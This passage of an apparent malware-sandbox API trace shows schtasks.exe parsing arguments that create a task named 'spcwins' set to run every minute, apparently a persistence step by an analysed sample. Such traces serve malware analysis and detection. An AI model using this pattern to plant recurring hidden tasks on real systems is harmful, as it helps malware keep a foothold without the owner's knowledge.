(HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ebac0 [0129.403] _memicmp (_Buf1=0x1ebac0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.403] GetProcessHeap () returned 0x1d0000 [0129.403] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x208) returned 0x1ebc60 [0129.403] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ebc60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0129.403] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0129.404] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0129.405] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0129.425] GetProcessHeap () returned 0x1d0000 [0129.425] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x74e) returned 0x1ec210 [0129.425] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0129.425] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x1ec210 | out: lpData=0x1ec210) returned 1 [0129.425] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0129.425] VerQueryValueW (in: pBlock=0x1ec210, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xbf348, puLen=0xbf3b0 | out: lplpBuffer=0xbf348*=0x1ec5ac, puLen=0xbf3b0) returned 1 [0129.429] _memicmp (_Buf1=0x1ebac0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.429] _vsnwprintf (in: _Buffer=0x1ebc60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xbf328 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0129.429] VerQueryValueW (in: pBlock=0x1ec210, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xbf3b8, puLen=0xbf3a8 | out: lplpBuffer=0xbf3b8*=0x1ec3d8, puLen=0xbf3a8) returned 1 [0129.429] lstrlenW (lpString="schtasks.exe") returned 12 [0129.429] lstrlenW (lpString="schtasks.exe") returned 12 [0129.429] lstrlenW (lpString=".EXE") returned 4 [0129.429] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0129.430] lstrlenW (lpString="schtasks.exe") returned 12 [0129.430] lstrlenW (lpString=".EXE") returned 4 [0129.430] _memicmp (_Buf1=0x1ebac0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.430] lstrlenW (lpString="schtasks") returned 8 [0129.430] GetProcessHeap () returned 0x1d0000 [0129.430] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5db0 [0129.431] GetProcessHeap () returned 0x1d0000 [0129.431] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecb20 [0129.431] GetProcessHeap () returned 0x1d0000 [0129.431] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecb50 [0129.431] GetProcessHeap () returned 0x1d0000 [0129.431] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecb80 [0129.431] GetProcessHeap () returned 0x1d0000 [0129.431] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ebae0 [0129.431] _memicmp (_Buf1=0x1ebae0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.431] GetProcessHeap () returned 0x1d0000 [0129.431] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xa0) returned 0x1ec060 [0129.431] GetProcessHeap () returned 0x1d0000 [0129.431] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecbb0 [0129.431] GetProcessHeap () returned 0x1d0000 [0129.431] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecbe0 [0129.431] GetProcessHeap () returned 0x1d0000 [0129.431] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecc10 [0129.431] GetProcessHeap () returned 0x1d0000 [0129.431] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ebb00 [0129.431] _memicmp (_Buf1=0x1ebb00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.431] GetProcessHeap () returned 0x1d0000 [0129.431] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x200) returned 0x1ed2f0 [0129.431] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1ed2f0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0129.432] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0129.432] GetProcessHeap () returned 0x1d0000 [0129.432] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x30) returned 0x1e7ab0 [0129.432] _vsnwprintf (in: _Buffer=0x1ec060, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xbf328 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0129.432] GetProcessHeap () returned 0x1d0000 [0129.432] GetProcessHeap () returned 0x1d0000 [0129.432] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec210) returned 1 [0129.432] GetProcessHeap () returned 0x1d0000 [0129.432] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec210) returned 0x74e [0129.433] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec210 | out: hHeap=0x1d0000) returned 1 [0129.433] SetLastError (dwErrCode=0x0) [0129.433] GetThreadLocale () returned 0x409 [0129.433] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.433] lstrlenW (lpString="?") returned 1 [0129.433] GetThreadLocale () returned 0x409 [0129.433] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.433] lstrlenW (lpString="create") returned 6 [0129.433] GetThreadLocale () returned 0x409 [0129.433] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.433] lstrlenW (lpString="delete") returned 6 [0129.433] GetThreadLocale () returned 0x409 [0129.433] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.433] lstrlenW (lpString="query") returned 5 [0129.433] GetThreadLocale () returned 0x409 [0129.433] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.433] lstrlenW (lpString="change") returned 6 [0129.434] GetThreadLocale () returned 0x409 [0129.434] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.434] lstrlenW (lpString="run") returned 3 [0129.434] GetThreadLocale () returned 0x409 [0129.434] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.434] lstrlenW (lpString="end") returned 3 [0129.434] GetThreadLocale () returned 0x409 [0129.434] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.434] lstrlenW (lpString="showsid") returned 7 [0129.434] GetThreadLocale () returned 0x409 [0129.434] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.434] SetLastError (dwErrCode=0x0) [0129.434] SetLastError (dwErrCode=0x0) [0129.434] lstrlenW (lpString="/create") returned 7 [0129.434] lstrlenW (lpString="-/") returned 2 [0129.434] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.434] lstrlenW (lpString="?") returned 1 [0129.434] lstrlenW (lpString="?") returned 1 [0129.434] GetProcessHeap () returned 0x1d0000 [0129.434] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ec210 [0129.434] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.434] GetProcessHeap () returned 0x1d0000 [0129.434] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xa) returned 0x1ec230 [0129.434] lstrlenW (lpString="create") returned 6 [0129.434] GetProcessHeap () returned 0x1d0000 [0129.434] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ec250 [0129.434] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.434] GetProcessHeap () returned 0x1d0000 [0129.435] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x14) returned 0x1ec270 [0129.435] _vsnwprintf (in: _Buffer=0x1ec230, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|?|") returned 3 [0129.435] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|create|") returned 8 [0129.435] lstrlenW (lpString="|?|") returned 3 [0129.435] lstrlenW (lpString="|create|") returned 8 [0129.435] SetLastError (dwErrCode=0x490) [0129.435] lstrlenW (lpString="create") returned 6 [0129.435] lstrlenW (lpString="create") returned 6 [0129.435] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.435] GetProcessHeap () returned 0x1d0000 [0129.435] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec230) returned 1 [0129.435] GetProcessHeap () returned 0x1d0000 [0129.435] RtlReAllocateHeap (Heap=0x1d0000, Flags=0xc, Ptr=0x1ec230, Size=0x14) returned 0x1ec290 [0129.435] lstrlenW (lpString="create") returned 6 [0129.435] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.435] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|create|") returned 8 [0129.435] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|create|") returned 8 [0129.435] lstrlenW (lpString="|create|") returned 8 [0129.435] lstrlenW (lpString="|create|") returned 8 [0129.435] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0129.435] SetLastError (dwErrCode=0x0) [0129.435] SetLastError (dwErrCode=0x0) [0129.435] SetLastError (dwErrCode=0x0) [0129.435] lstrlenW (lpString="/tn") returned 3 [0129.435] lstrlenW (lpString="-/") returned 2 [0129.435] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.435] lstrlenW (lpString="?") returned 1 [0129.436] lstrlenW (lpString="?") returned 1 [0129.436] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.436] lstrlenW (lpString="tn") returned 2 [0129.436] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.436] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|?|") returned 3 [0129.436] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|tn|") returned 4 [0129.436] lstrlenW (lpString="|?|") returned 3 [0129.436] lstrlenW (lpString="|tn|") returned 4 [0129.436] SetLastError (dwErrCode=0x490) [0129.436] lstrlenW (lpString="create") returned 6 [0129.436] lstrlenW (lpString="create") returned 6 [0129.436] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.436] lstrlenW (lpString="tn") returned 2 [0129.436] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.436] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|create|") returned 8 [0129.436] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|tn|") returned 4 [0129.436] lstrlenW (lpString="|create|") returned 8 [0129.436] lstrlenW (lpString="|tn|") returned 4 [0129.436] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0129.436] SetLastError (dwErrCode=0x490) [0129.436] lstrlenW (lpString="delete") returned 6 [0129.436] lstrlenW (lpString="delete") returned 6 [0129.436] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.436] lstrlenW (lpString="tn") returned 2 [0129.436] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.437] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|delete|") returned 8 [0129.437] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|tn|") returned 4 [0129.437] lstrlenW (lpString="|delete|") returned 8 [0129.437] lstrlenW (lpString="|tn|") returned 4 [0129.437] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0129.437] SetLastError (dwErrCode=0x490) [0129.437] lstrlenW (lpString="query") returned 5 [0129.437] lstrlenW (lpString="query") returned 5 [0129.437] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.437] lstrlenW (lpString="tn") returned 2 [0129.437] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.437] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|query|") returned 7 [0129.437] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|tn|") returned 4 [0129.437] lstrlenW (lpString="|query|") returned 7 [0129.437] lstrlenW (lpString="|tn|") returned 4 [0129.437] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0129.437] SetLastError (dwErrCode=0x490) [0129.437] lstrlenW (lpString="change") returned 6 [0129.437] lstrlenW (lpString="change") returned 6 [0129.437] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.437] lstrlenW (lpString="tn") returned 2 [0129.437] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.437] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|change|") returned 8 [0129.437] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|tn|") returned 4 [0129.437] lstrlenW (lpString="|change|") returned 8 [0129.438] lstrlenW (lpString="|tn|") returned 4 [0129.438] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0129.438] SetLastError (dwErrCode=0x490) [0129.438] lstrlenW (lpString="run") returned 3 [0129.438] lstrlenW (lpString="run") returned 3 [0129.438] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.438] lstrlenW (lpString="tn") returned 2 [0129.438] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.438] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|run|") returned 5 [0129.438] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|tn|") returned 4 [0129.438] lstrlenW (lpString="|run|") returned 5 [0129.438] lstrlenW (lpString="|tn|") returned 4 [0129.438] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0129.438] SetLastError (dwErrCode=0x490) [0129.438] lstrlenW (lpString="end") returned 3 [0129.438] lstrlenW (lpString="end") returned 3 [0129.438] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.438] lstrlenW (lpString="tn") returned 2 [0129.438] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.438] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|end|") returned 5 [0129.438] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|tn|") returned 4 [0129.438] lstrlenW (lpString="|end|") returned 5 [0129.438] lstrlenW (lpString="|tn|") returned 4 [0129.438] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0129.438] SetLastError (dwErrCode=0x490) [0129.438] lstrlenW (lpString="showsid") returned 7 [0129.439] lstrlenW (lpString="showsid") returned 7 [0129.439] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.439] GetProcessHeap () returned 0x1d0000 [0129.439] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec290) returned 1 [0129.439] GetProcessHeap () returned 0x1d0000 [0129.439] RtlReAllocateHeap (Heap=0x1d0000, Flags=0xc, Ptr=0x1ec290, Size=0x16) returned 0x1ec290 [0129.439] lstrlenW (lpString="tn") returned 2 [0129.439] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.439] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|showsid|") returned 9 [0129.439] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|tn|") returned 4 [0129.439] lstrlenW (lpString="|showsid|") returned 9 [0129.439] lstrlenW (lpString="|tn|") returned 4 [0129.439] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0129.439] SetLastError (dwErrCode=0x490) [0129.439] SetLastError (dwErrCode=0x490) [0129.439] SetLastError (dwErrCode=0x0) [0129.439] lstrlenW (lpString="/tn") returned 3 [0129.439] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0129.439] SetLastError (dwErrCode=0x490) [0129.439] SetLastError (dwErrCode=0x0) [0129.439] lstrlenW (lpString="/tn") returned 3 [0129.439] GetProcessHeap () returned 0x1d0000 [0129.439] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x8) returned 0x1ec230 [0129.440] GetProcessHeap () returned 0x1d0000 [0129.440] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecc40 [0129.440] SetLastError (dwErrCode=0x0) [0129.440] SetLastError (dwErrCode=0x0) [0129.440] lstrlenW (lpString="spcwins") returned 7 [0129.440] lstrlenW (lpString="-/") returned 2 [0129.440] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0129.440] SetLastError (dwErrCode=0x490) [0129.440] SetLastError (dwErrCode=0x490) [0129.440] SetLastError (dwErrCode=0x0) [0129.440] lstrlenW (lpString="spcwins") returned 7 [0129.440] StrChrIW (lpStart="spcwins", wMatch=0x3a) returned 0x0 [0129.440] SetLastError (dwErrCode=0x490) [0129.440] SetLastError (dwErrCode=0x0) [0129.440] lstrlenW (lpString="spcwins") returned 7 [0129.440] GetProcessHeap () returned 0x1d0000 [0129.440] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x10) returned 0x1ec2c0 [0129.440] GetProcessHeap () returned 0x1d0000 [0129.440] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecc70 [0129.440] SetLastError (dwErrCode=0x0) [0129.440] SetLastError (dwErrCode=0x0) [0129.440] lstrlenW (lpString="/sc") returned 3 [0129.440] lstrlenW (lpString="-/") returned 2 [0129.440] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.440] lstrlenW (lpString="?") returned 1 [0129.440] lstrlenW (lpString="?") returned 1 [0129.440] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.440] lstrlenW (lpString="sc") returned 2 [0129.440] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.441] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|?|") returned 3 [0129.441] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|sc|") returned 4 [0129.441] lstrlenW (lpString="|?|") returned 3 [0129.441] lstrlenW (lpString="|sc|") returned 4 [0129.441] SetLastError (dwErrCode=0x490) [0129.441] lstrlenW (lpString="create") returned 6 [0129.441] lstrlenW (lpString="create") returned 6 [0129.441] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.441] lstrlenW (lpString="sc") returned 2 [0129.441] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.441] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|create|") returned 8 [0129.441] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|sc|") returned 4 [0129.441] lstrlenW (lpString="|create|") returned 8 [0129.441] lstrlenW (lpString="|sc|") returned 4 [0129.441] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0129.441] SetLastError (dwErrCode=0x490) [0129.441] lstrlenW (lpString="delete") returned 6 [0129.441] lstrlenW (lpString="delete") returned 6 [0129.441] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.441] lstrlenW (lpString="sc") returned 2 [0129.441] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.441] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|delete|") returned 8 [0129.441] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|sc|") returned 4 [0129.442] lstrlenW (lpString="|delete|") returned 8 [0129.442] lstrlenW (lpString="|sc|") returned 4 [0129.442] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0129.442] SetLastError (dwErrCode=0x490) [0129.442] lstrlenW (lpString="query") returned 5 [0129.442] lstrlenW (lpString="query") returned 5 [0129.442] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.442] lstrlenW (lpString="sc") returned 2 [0129.442] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.442] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|query|") returned 7 [0129.442] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|sc|") returned 4 [0129.442] lstrlenW (lpString="|query|") returned 7 [0129.442] lstrlenW (lpString="|sc|") returned 4 [0129.442] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0129.442] SetLastError (dwErrCode=0x490) [0129.442] lstrlenW (lpString="change") returned 6 [0129.442] lstrlenW (lpString="change") returned 6 [0129.442] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.442] lstrlenW (lpString="sc") returned 2 [0129.442] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.442] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|change|") returned 8 [0129.442] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|sc|") returned 4 [0129.442] lstrlenW (lpString="|change|") returned 8 [0129.442] lstrlenW (lpString="|sc|") returned 4 [0129.442] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0129.443] SetLastError (dwErrCode=0x490) [0129.443] lstrlenW (lpString="run") returned 3 [0129.443] lstrlenW (lpString="run") returned 3 [0129.443] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.443] lstrlenW (lpString="sc") returned 2 [0129.443] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.443] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|run|") returned 5 [0129.443] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|sc|") returned 4 [0129.443] lstrlenW (lpString="|run|") returned 5 [0129.443] lstrlenW (lpString="|sc|") returned 4 [0129.443] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0129.443] SetLastError (dwErrCode=0x490) [0129.443] lstrlenW (lpString="end") returned 3 [0129.443] lstrlenW (lpString="end") returned 3 [0129.443] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.443] lstrlenW (lpString="sc") returned 2 [0129.443] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.443] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|end|") returned 5 [0129.443] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|sc|") returned 4 [0129.443] lstrlenW (lpString="|end|") returned 5 [0129.443] lstrlenW (lpString="|sc|") returned 4 [0129.443] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0129.443] SetLastError (dwErrCode=0x490) [0129.443] lstrlenW (lpString="showsid") returned 7 [0129.443] lstrlenW (lpString="showsid") returned 7 [0129.443] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.444] lstrlenW (lpString="sc") returned 2 [0129.444] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.444] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|showsid|") returned 9 [0129.444] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf338 | out: _Buffer="|sc|") returned 4 [0129.444] lstrlenW (lpString="|showsid|") returned 9 [0129.444] lstrlenW (lpString="|sc|") returned 4 [0129.444] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0129.444] SetLastError (dwErrCode=0x490) [0129.444] SetLastError (dwErrCode=0x490) [0129.444] SetLastError (dwErrCode=0x0) [0129.444] lstrlenW (lpString="/sc") returned 3 [0129.444] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0129.444] SetLastError (dwErrCode=0x490) [0129.444] SetLastError (dwErrCode=0x0) [0129.444] lstrlenW (lpString="/sc") returned 3 [0129.444] GetProcessHeap () returned 0x1d0000 [0129.444] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x8) returned 0x1ec2e0 [0129.444] GetProcessHeap () returned 0x1d0000 [0129.444] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecca0 [0129.444] SetLastError (dwErrCode=0x0) [0129.444] SetLastError (dwErrCode=0x0) [0129.444] lstrlenW (lpString="MINUTE") returned 6 [0129.444] lstrlenW (lpString="-/") returned 2 [0129.444] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0129.444] SetLastError (dwErrCode=0x490) [0129.444] SetLastError (dwErrCode=0x490) [0129.444] SetLastError (dwErrCode=0x0) [0129.445] lstrlenW (lpString="MINUTE") returned 6 [0129.445] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0129.445] SetLastError (dwErrCode=0x490) [0129.445] SetLastError (dwErrCode=0x0) [0129.445] lstrlenW (lpString="MINUTE") returned 6 [0129.445] GetProcessHeap () returned 0x1d0000 [0129.445] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xe) returned 0x1ec300 [0129.445] GetProcessHeap () returned 0x1d0000 [0129.445] RtlAllocateHeap 